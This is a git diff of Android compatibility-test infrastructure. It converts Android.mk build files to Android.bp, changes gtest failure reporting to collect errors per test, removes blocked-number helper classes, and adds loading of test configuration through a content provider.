+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "compatibility-device-info-tests",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "compatibility-device-info",
+        "junit",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/device-info/tests/Android.mk b/common/device-side/device-info/tests/Android.mk
deleted file mode 100644
index cd05796..0000000
--- a/common/device-side/device-info/tests/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-info junit
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-info-tests
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/common/device-side/nativetesthelper/Android.bp b/common/device-side/nativetesthelper/Android.bp
new file mode 100644
index 0000000..216fb33
--- /dev/null
+++ b/common/device-side/nativetesthelper/Android.bp
@@ -0,0 +1,21 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "nativetesthelper",
+
+    srcs: ["src/**/*.java"],
+    static_libs: ["compatibility-common-util-devicesidelib"],
+    sdk_version: "current",
+}
diff --git a/common/device-side/nativetesthelper/Android.mk b/common/device-side/nativetesthelper/Android.mk
deleted file mode 100644
index 63b81e1..0000000
--- a/common/device-side/nativetesthelper/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
-LOCAL_MODULE := nativetesthelper
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/nativetesthelper/jni/Android.bp b/common/device-side/nativetesthelper/jni/Android.bp
new file mode 100644
index 0000000..871207e
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+//
+// This is the shared library included by the JNI test app.
+//
+
+cc_library_static {
+    name: "libnativetesthelper_jni",
+
+    srcs: ["gtest_wrapper.cpp"],
+
+    shared_libs: ["libnativehelper_compat_libc++"],
+    whole_static_libs: ["libgtest_ndk_c++"],
+    export_include_dirs: ["include"],
+    sdk_version: "current",
+    stl: "c++_static",
+    cflags: [
+        "-Wall",
+        "-Werror",
+    ],
+}
diff --git a/common/device-side/nativetesthelper/jni/Android.mk b/common/device-side/nativetesthelper/jni/Android.mk
deleted file mode 100644
index f970e8c..0000000
--- a/common/device-side/nativetesthelper/jni/Android.mk
+++ /dev/null
@@ -1,36 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-#
-# This is the shared library included by the JNI test app.
-#
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := libnativetesthelper_jni
-
-LOCAL_SRC_FILES := \
-        gtest_wrapper.cpp
-
-LOCAL_SHARED_LIBRARIES := libnativehelper_compat_libc++
-LOCAL_WHOLE_STATIC_LIBRARIES := libgtest_ndk_c++
-LOCAL_EXPORT_STATIC_LIBRARY_HEADERS := libgtest_ndk_c++
-LOCAL_SDK_VERSION := current
-LOCAL_NDK_STL_VARIANT := c++_static
-LOCAL_CFLAGS := -Wall -Werror
-LOCAL_MULTILIB := both
-
-include $(BUILD_STATIC_LIBRARY)
diff --git a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
index eda919c..a8b6b3e 100644
--- a/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
+++ b/common/device-side/nativetesthelper/jni/gtest_wrapper.cpp
@@ -20,8 +20,17 @@
 
 #include <jni.h>
 #include <nativehelper/ScopedLocalRef.h>
+#include <nativetesthelper_jni/utils.h>
 #include <gtest/gtest.h>
 
+static JavaVM* gVm = nullptr;
+JavaVM* GetJavaVM() {
+    return gVm;
+}
+static void RegisterJavaVm(JNIEnv* env) {
+    (void)env->GetJavaVM(&gVm);
+}
+
 namespace {
 
 struct {
@@ -111,21 +120,27 @@
 
     virtual void OnTestPartResult(const testing::TestPartResult &testPartResult) override {
         if (!testPartResult.passed()) {
-            std::ostringstream messageStream;
-            messageStream << testPartResult.file_name() << ":" << testPartResult.line_number()
-                          << "\n" << testPartResult.message();
-            ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(messageStream.str().c_str()));
+            mCurrentTestError << "\n" << testPartResult.file_name() << ":" << testPartResult.line_number()
+                          << "\n" << testPartResult.message() << "\n";
+        }
+    }
+
+    virtual void OnTestEnd(const testing::TestInfo&) override {
+        const std::string error = mCurrentTestError.str();
+
+        if (!error.empty()) {
+            ScopedLocalRef<jstring> jmessage(mEnv, mEnv->NewStringUTF(error.c_str()));
             ScopedLocalRef<jobject> jthrowable(mEnv, mEnv->NewObject(gAssertionFailure.clazz,
                     gAssertionFailure.ctor, jmessage.get()));
             ScopedLocalRef<jobject> jfailure(mEnv, mEnv->NewObject(gFailure.clazz,
                     gFailure.ctor, mCurrentTestDescription.get(), jthrowable.get()));
             mEnv->CallVoidMethod(mRunNotifier, gRunNotifier.fireTestFailure, jfailure.get());
         }
-    }
 
-    virtual void OnTestEnd(const testing::TestInfo&) override {
         notify(gRunNotifier.fireTestFinished);
         mCurrentTestDescription.reset();
+        mCurrentTestError.str("");
+        mCurrentTestError.clear();
     }
 
     void reportDisabledTests(const std::vector<std::string>& mangledNames) {
@@ -145,6 +160,7 @@
     jobject mRunNotifier;
     jstring mClassName;
     ScopedLocalRef<jobject> mCurrentTestDescription;
+    std::ostringstream mCurrentTestError;
 };
 
 }  // namespace
@@ -152,6 +168,8 @@
 extern "C"
 JNIEXPORT void JNICALL
 Java_com_android_gtestrunner_GtestRunner_nInitialize(JNIEnv *env, jclass, jstring className, jobject suite) {
+    RegisterJavaVm(env);
+
     // Initialize gtest, removing the default result printer
     int argc = 1;
     const char* argv[] = { "gtest_wrapper" };
diff --git a/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h b/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h
new file mode 100644
index 0000000..604d4ba
--- /dev/null
+++ b/common/device-side/nativetesthelper/jni/include/nativetesthelper_jni/utils.h
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#pragma once
+
+#include <jni.h>
+
+// This is used by setting up @TargetLibrary in an APK test which opens up and executes the gtest
+// containing this library.
+
+/**
+ * The JVM associated with this test run or nullptr if not available.
+ */
+JavaVM* GetJavaVM();
+
diff --git a/common/device-side/preconditions/Android.bp b/common/device-side/preconditions/Android.bp
new file mode 100644
index 0000000..64f0ab0
--- /dev/null
+++ b/common/device-side/preconditions/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library {
+    name: "compatibility-device-preconditions",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: ["compatibility-common-util-devicesidelib"],
+
+    sdk_version: "current",
+}
diff --git a/common/device-side/preconditions/Android.mk b/common/device-side/preconditions/Android.mk
deleted file mode 100644
index 75c981b..0000000
--- a/common/device-side/preconditions/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-common-util-devicesidelib
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-preconditions
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/test-app/Android.bp b/common/device-side/test-app/Android.bp
new file mode 100644
index 0000000..14e711a
--- /dev/null
+++ b/common/device-side/test-app/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// Build an APK which contains the device-side libraries and their tests,
+// this then gets instrumented in order to test the aforementioned libraries.
+
+android_test {
+    name: "CompatibilityTestApp",
+
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-common-util-devicesidelib",
+        "compatibility-device-info-tests",
+        "compatibility-device-info",
+        "compatibility-device-util-tests",
+        "compatibility-device-util-axt",
+    ],
+
+    sdk_version: "test_current",
+}
diff --git a/common/device-side/test-app/Android.mk b/common/device-side/test-app/Android.mk
deleted file mode 100755
index b6660e8..0000000
--- a/common/device-side/test-app/Android.mk
+++ /dev/null
@@ -1,40 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# Build an APK which contains the device-side libraries and their tests,
-# this then gets instrumented in order to test the aforementioned libraries.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test\
-    compatibility-common-util-devicesidelib\
-    compatibility-device-info-tests\
-    compatibility-device-info\
-    compatibility-device-util-tests\
-    compatibility-device-util-axt
-
-LOCAL_PACKAGE_NAME := CompatibilityTestApp
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_PACKAGE)
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
new file mode 100644
index 0000000..5ae0d89
--- /dev/null
+++ b/common/device-side/util-axt/Android.bp
@@ -0,0 +1,36 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_library_static {
+    name: "compatibility-device-util-axt",
+    sdk_version: "test_current",
+
+    srcs: [
+       "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+
+    static_libs: [
+        "compatibility-common-util-devicesidelib",
+        "androidx.test.rules",
+        "ub-uiautomator",
+        "mockito-target-minus-junit4",
+        "androidx.annotation_annotation",
+    ],
+
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
diff --git a/common/device-side/util-axt/Android.mk b/common/device-side/util-axt/Android.mk
deleted file mode 100644
index 53b4a83..0000000
--- a/common/device-side/util-axt/Android.mk
+++ /dev/null
@@ -1,41 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-Iaidl-files-under, src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-common-util-devicesidelib \
-    androidx.test.rules \
-    ub-uiautomator \
-    mockito-target-minus-junit4 \
-    androidx.annotation_annotation
-
-LOCAL_JAVA_LIBRARIES := \
-    android.test.runner.stubs \
-    android.test.base.stubs
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE := compatibility-device-util-axt
-
-LOCAL_SDK_VERSION := test_current
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/common/device-side/util-axt/OWNERS b/common/device-side/util-axt/OWNERS
new file mode 100644
index 0000000..5955ba9
--- /dev/null
+++ b/common/device-side/util-axt/OWNERS
@@ -0,0 +1,2 @@
+
+per-file Android.bp=guangzhu@google.com, fdeng@google.com, moonk@google.com, jdesprez@google.com, aaronholden@google.com, yuji@google.com, nickrose@google.com, eugenesusla@google.com, svetoslavganov@google.com
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
index c9338e4..9bbf888 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppOpsUtils.java
@@ -22,6 +22,7 @@
 import static android.app.AppOpsManager.MODE_IGNORED;
 
 import android.app.AppOpsManager;
+
 import androidx.test.InstrumentationRegistry;
 
 import java.io.IOException;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
index eb94b60..9e19c00d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -18,9 +18,6 @@
 
 import android.util.Log;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
 public class AppStandbyUtils {
     private static final String TAG = "CtsAppStandbyUtils";
 
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
index 2e88e8a..3697ff0 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BatteryUtils.java
@@ -24,9 +24,10 @@
 import android.os.BatteryManager;
 import android.os.PowerManager;
 import android.provider.Settings.Global;
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Assume;
 
 public class BatteryUtils {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
deleted file mode 100644
index 360c078..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberService.java
+++ /dev/null
@@ -1,96 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static android.provider.BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER;
-import static android.provider.BlockedNumberContract.BlockedNumbers.CONTENT_URI;
-
-import android.app.IntentService;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.ResultReceiver;
-import android.util.Log;
-
-/**
- * A service to handle interactions with the BlockedNumberProvider. The BlockedNumberProvider
- * can only be accessed by the primary user. This service can be run as a singleton service
- * which will then be able to access the BlockedNumberProvider from a test running in a
- * secondary user.
- */
-public class BlockedNumberService extends IntentService {
-
-    static final String INSERT_ACTION = "android.telecom.cts.InsertBlockedNumber";
-    static final String DELETE_ACTION = "android.telecom.cts.DeleteBlockedNumber";
-    static final String PHONE_NUMBER_EXTRA = "number";
-    static final String URI_EXTRA = "uri";
-    static final String ROWS_EXTRA = "rows";
-    static final String RESULT_RECEIVER_EXTRA = "resultReceiver";
-
-    private static final String TAG = "CtsBlockNumberSvc";
-
-    private ContentResolver mContentResolver;
-
-    public BlockedNumberService() {
-        super(BlockedNumberService.class.getName());
-    }
-
-    @Override
-    public void onHandleIntent(Intent intent) {
-        Log.i(TAG, "Starting BlockedNumberService service: " + intent);
-        if (intent == null) {
-            return;
-        }
-        Bundle bundle;
-        mContentResolver = getContentResolver();
-        switch (intent.getAction()) {
-            case INSERT_ACTION:
-                bundle = insertBlockedNumber(intent.getStringExtra(PHONE_NUMBER_EXTRA));
-                break;
-            case DELETE_ACTION:
-                bundle = deleteBlockedNumber(Uri.parse(intent.getStringExtra(URI_EXTRA)));
-                break;
-            default:
-                bundle = new Bundle();
-                break;
-        }
-        ResultReceiver receiver = intent.getParcelableExtra(RESULT_RECEIVER_EXTRA);
-        receiver.send(0, bundle);
-    }
-
-    private Bundle insertBlockedNumber(String number) {
-        Log.i(TAG, "insertBlockedNumber: " + number);
-
-        ContentValues cv = new ContentValues();
-        cv.put(COLUMN_ORIGINAL_NUMBER, number);
-        Uri uri = mContentResolver.insert(CONTENT_URI, cv);
-        Bundle bundle = new Bundle();
-        bundle.putString(URI_EXTRA, uri.toString());
-        return bundle;
-    }
-
-    private Bundle deleteBlockedNumber(Uri uri) {
-        Log.i(TAG, "deleteBlockedNumber: " + uri);
-
-        int rows = mContentResolver.delete(uri, null, null);
-        Bundle bundle = new Bundle();
-        bundle.putInt(ROWS_EXTRA, rows);
-        return bundle;
-    }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
deleted file mode 100644
index e5a0ce4..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BlockedNumberUtil.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import static com.android.compatibility.common.util.BlockedNumberService.DELETE_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.INSERT_ACTION;
-import static com.android.compatibility.common.util.BlockedNumberService.PHONE_NUMBER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.RESULT_RECEIVER_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.ROWS_EXTRA;
-import static com.android.compatibility.common.util.BlockedNumberService.URI_EXTRA;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.net.Uri;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ResultReceiver;
-
-import junit.framework.TestCase;
-
-import java.util.concurrent.Semaphore;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Utility for starting the blocked number service.
- */
-public class BlockedNumberUtil {
-
-    private static final int TIMEOUT = 2;
-
-    private BlockedNumberUtil() {}
-
-    /** Insert a phone number into the blocked number provider and returns the resulting Uri. */
-    public static Uri insertBlockedNumber(Context context, String phoneNumber) {
-        Intent intent = new Intent(INSERT_ACTION);
-        intent.putExtra(PHONE_NUMBER_EXTRA, phoneNumber);
-
-        return Uri.parse(runBlockedNumberService(context, intent).getString(URI_EXTRA));
-    }
-
-    /** Remove a number from the blocked number provider and returns the number of rows deleted. */
-    public static int deleteBlockedNumber(Context context, Uri uri) {
-        Intent intent = new Intent(DELETE_ACTION);
-        intent.putExtra(URI_EXTRA, uri.toString());
-
-        return runBlockedNumberService(context, intent).getInt(ROWS_EXTRA);
-    }
-
-    /** Start the blocked number service. */
-    static Bundle runBlockedNumberService(Context context, Intent intent) {
-        // Temporarily allow background service
-        SystemUtil.runShellCommand("cmd deviceidle tempwhitelist " + context.getPackageName());
-
-        final Semaphore semaphore = new Semaphore(0);
-        final Bundle result = new Bundle();
-
-        ResultReceiver receiver = new ResultReceiver(new Handler(Looper.getMainLooper())) {
-            @Override
-            protected void onReceiveResult(int resultCode, Bundle resultData) {
-                result.putAll(resultData);
-                semaphore.release();
-            }
-        };
-        intent.putExtra(RESULT_RECEIVER_EXTRA, receiver);
-        intent.setComponent(new ComponentName(context, BlockedNumberService.class));
-
-        context.startService(intent);
-
-        try {
-            TestCase.assertTrue(semaphore.tryAcquire(TIMEOUT, TimeUnit.SECONDS));
-        } catch (InterruptedException e) {
-            TestCase.fail("Timed out waiting for result from BlockedNumberService");
-        }
-        return result;
-    }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
index e4d9c22..17b836f 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BroadcastRpcBase.java
@@ -27,9 +27,10 @@
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicReference;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
index 36e647b..76a42a5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -19,19 +19,22 @@
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeTrue;
 
+import android.app.Instrumentation;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.net.Uri;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import androidx.test.InstrumentationRegistry;
+
 import org.junit.Before;
-import org.junit.BeforeClass;
 import org.junit.Rule;
 import org.junit.rules.TestName;
 
-import android.app.Instrumentation;
-import android.content.Context;
-import androidx.test.InstrumentationRegistry;
-import android.util.Log;
-
-import java.lang.reflect.Field;
 import java.io.File;
-import java.util.List;
+import java.io.FileNotFoundException;
+import java.lang.reflect.Field;
 import java.util.Map;
 
 /**
@@ -42,6 +45,9 @@
     /* String marking the beginning of the parameter in a test name */
     private static final String PARAM_START = "[";
 
+    public static final String CONTENT_PROVIDER =
+            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
+
     /* Test name rule that tracks the current test method under execution */
     @Rule public TestName mTestCase = new TestName();
 
@@ -71,6 +77,20 @@
     }
 
     protected void loadBusinessLogic() {
+        String uriPath = String.format("%s/%s", CONTENT_PROVIDER, BusinessLogic.DEVICE_FILE);
+        Uri sdcardUri = Uri.parse(uriPath);
+        Context appContext = InstrumentationRegistry.getTargetContext();
+        try {
+            ContentResolver resolver = appContext.getContentResolver();
+            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri, "r");
+            mBusinessLogic = BusinessLogicFactory.createFromFile(
+                    new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
+            return;
+        } catch (FileNotFoundException e) {
+            // Log the error and use the fallback too
+            Log.e("BusinessLogicTestCase", "Error while using content provider for config", e);
+        }
+        // Fallback to reading the business logic directly.
         File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
         if (businessLogicFile.canRead()) {
             mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
index 5a9a2a6..e722fb2 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
@@ -23,9 +23,10 @@
 import android.content.IntentFilter;
 import android.database.ContentObserver;
 import android.net.Uri;
-import androidx.test.InstrumentationRegistry;
 import android.util.Log;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
index a2439c7..3b59dc3 100644
